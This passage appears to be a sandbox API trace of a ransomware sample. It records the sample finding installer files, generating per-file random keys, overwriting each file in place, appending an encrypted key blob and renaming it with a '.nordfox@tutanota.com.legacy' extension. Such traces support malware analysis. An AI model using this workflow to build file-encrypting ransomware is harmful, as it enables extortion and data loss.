hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0102.011] WriteFile (in: hFile=0x4bc, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0102.011] WriteFile (in: hFile=0x4bc, lpBuffer=0x54d120*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d120*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0102.012] CloseHandle (hObject=0x4bc) returned 1 [0102.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0102.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d120 | out: hHeap=0x520000) returned 1 [0102.021] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1043\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0102.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0102.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0102.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0102.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0102.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0102.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0102.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d280 | out: hHeap=0x520000) returned 1 [0102.024] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d29cc9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a09e8 [0102.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0102.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0102.024] GetLastError () returned 0x0 [0102.024] SetLastError (dwErrCode=0x0) [0102.024] GetLastError () returned 0x0 [0102.024] SetLastError (dwErrCode=0x0) [0102.024] GetLastError () returned 0x0 [0102.024] SetLastError (dwErrCode=0x0) [0102.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0102.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0102.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0102.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0102.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ea8 [0102.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ea8 | out: hHeap=0x520000) returned 1 [0102.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0102.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0102.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0102.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0102.025] FindNextFileW (in: hFindFile=0x5a09e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d29cc9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0102.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0102.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0102.025] GetLastError () returned 0x0 [0102.025] SetLastError (dwErrCode=0x0) [0102.025] GetLastError () returned 0x0 [0102.026] SetLastError (dwErrCode=0x0) [0102.026] GetLastError () returned 0x0 [0102.026] SetLastError (dwErrCode=0x0) [0102.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0102.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0102.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0102.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0102.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ce8 [0102.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ce8 | out: hHeap=0x520000) returned 1 [0102.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0102.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0102.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0102.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0102.026] FindNextFileW (in: hFindFile=0x5a09e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0102.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0102.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0102.026] GetLastError () returned 0x0 [0102.027] SetLastError (dwErrCode=0x0) [0102.027] GetLastError () returned 0x0 [0102.027] SetLastError (dwErrCode=0x0) [0102.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0102.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0102.027] GetLastError () returned 0x0 [0102.027] SetLastError (dwErrCode=0x0) [0102.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0102.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0102.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0102.027] FindNextFileW (in: hFindFile=0x5a09e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0102.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0102.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0102.027] GetLastError () returned 0x0 [0102.027] SetLastError (dwErrCode=0x0) [0102.028] GetLastError () returned 0x0 [0102.028] SetLastError (dwErrCode=0x0) [0102.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0102.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0102.028] GetLastError () returned 0x0 [0102.028] SetLastError (dwErrCode=0x0) [0102.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0102.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0102.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0102.028] FindNextFileW (in: hFindFile=0x5a09e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d24ea7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d24ea7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d2d766, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0102.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0102.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0102.028] GetLastError () returned 0x0 [0102.028] SetLastError (dwErrCode=0x0) [0102.029] GetLastError () returned 0x0 [0102.029] SetLastError (dwErrCode=0x0) [0102.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0102.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0102.029] GetLastError () returned 0x0 [0102.029] SetLastError (dwErrCode=0x0) [0102.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0102.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0102.029] FindNextFileW (in: hFindFile=0x5a09e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0102.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0102.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0102.029] GetLastError () returned 0x0 [0102.029] SetLastError (dwErrCode=0x0) [0102.029] GetLastError () returned 0x0 [0102.029] SetLastError (dwErrCode=0x0) [0102.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0102.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0102.030] GetLastError () returned 0x0 [0102.030] SetLastError (dwErrCode=0x0) [0102.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0102.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0102.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0102.030] FindNextFileW (in: hFindFile=0x5a09e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0102.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0102.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0102.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0102.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0102.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0102.030] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1044\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0102.033] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0102.033] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0102.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0102.033] CreateFileW (lpFileName="\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0102.034] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17752) returned 1 [0102.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4558) returned 0x5a0f80 [0102.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4558) returned 0x5a54e0 [0102.034] ReadFile (in: hFile=0x4c0, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4558, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4558, lpOverlapped=0x0) returned 1 [0102.147] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=-17752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.147] WriteFile (in: hFile=0x4c0, lpBuffer=0x5a54e0*, nNumberOfBytesToWrite=0x4558, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a54e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4558, lpOverlapped=0x0) returned 1 [0102.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0102.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a54e0 | out: hHeap=0x520000) returned 1 [0102.147] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4558 [0102.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0102.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0102.148] WriteFile (in: hFile=0x4c0, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0102.148] WriteFile (in: hFile=0x4c0, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0102.148] CloseHandle (hObject=0x4c0) returned 1 [0102.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0102.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0102.187] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1044\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0102.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0102.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0102.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0102.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0102.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0102.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0102.189] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0102.189] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0102.189] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1044\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0102.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0102.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0102.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0102.190] CreateFileW (lpFileName="\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0102.190] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=79296) returned 1 [0102.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x135c0) returned 0x5a0f80 [0102.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x135c0) returned 0x5b4548 [0102.190] ReadFile (in: hFile=0x4c0, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x135c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x135c0, lpOverlapped=0x0) returned 1 [0102.755] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=-79296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.755] WriteFile (in: hFile=0x4c0, lpBuffer=0x5b4548*, nNumberOfBytesToWrite=0x135c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b4548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x135c0, lpOverlapped=0x0) returned 1 [0102.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0102.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b4548 | out: hHeap=0x520000) returned 1 [0102.759] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x135c0 [0102.759] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0102.759] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0102.760] WriteFile (in: hFile=0x4c0, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0102.761] WriteFile (in: hFile=0x4c0, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0102.761] CloseHandle (hObject=0x4c0) returned 1 [0102.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0102.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0102.764] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1044\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0102.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0102.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0102.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0102.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0102.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0102.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0102.766] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0102.766] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0102.766] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1044\\eula.rtf", dwFileAttributes=0x80) returned 1 [0102.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0102.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0102.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0102.767] CreateFileW (lpFileName="\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0102.767] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3046) returned 1 [0102.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbe6) returned 0x5a0f80 [0102.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbe6) returned 0x5a1b70 [0102.767] ReadFile (in: hFile=0x4c0, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xbe6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xbe6, lpOverlapped=0x0) returned 1 [0102.769] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=-3046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.769] WriteFile (in: hFile=0x4c0, lpBuffer=0x5a1b70*, nNumberOfBytesToWrite=0xbe6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1b70*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbe6, lpOverlapped=0x0) returned 1 [0102.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0102.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1b70 | out: hHeap=0x520000) returned 1 [0102.769] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbe6 [0102.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0102.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0102.769] WriteFile (in: hFile=0x4c0, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0102.769] WriteFile (in: hFile=0x4c0, lpBuffer=0x54d1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0102.769] CloseHandle (hObject=0x4c0) returned 1 [0102.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0102.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: 